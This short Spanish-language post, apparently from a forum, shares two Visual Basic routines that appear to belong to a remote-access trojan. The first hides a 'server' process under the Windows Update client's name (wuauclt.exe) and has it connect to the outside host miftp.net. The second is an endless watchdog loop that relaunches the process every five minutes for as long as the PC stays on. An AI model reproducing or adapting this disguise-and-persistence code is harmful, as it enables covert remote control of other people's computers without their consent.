este codigo ejecuta el servidor
Código
Private Sub ejecutarServidor() On Error GoTo e Dim systemroot As String systemroot = ResolveEnvirons("%systemroot%\") h_process = OpenProcess(PROCESS_QUERY_INFORMATION, False, _ Shell(systemroot & "wuauclt.exe -run", vbHide)) Call Shell(systemroot & "wuauclt.exe -connect miftp.net", vbHide) e: End Sub
Este otro es el que se mantiene por el resto de la vida del pc encendido
Código
Private Sub ejecutarServidorCadaMiliSeg() On Error GoTo e Dim cont As Single cont = 0 do While (1) Sleep (60000) cont = cont + 1 If (cont = 5) Then GetExitCodeProcess h_process, rVal If (rVal <> STILL_ACTIVE) Then ejecutarServidor End If cont = 0 End If Loop e: End Sub
dato : h_process lo tengo como global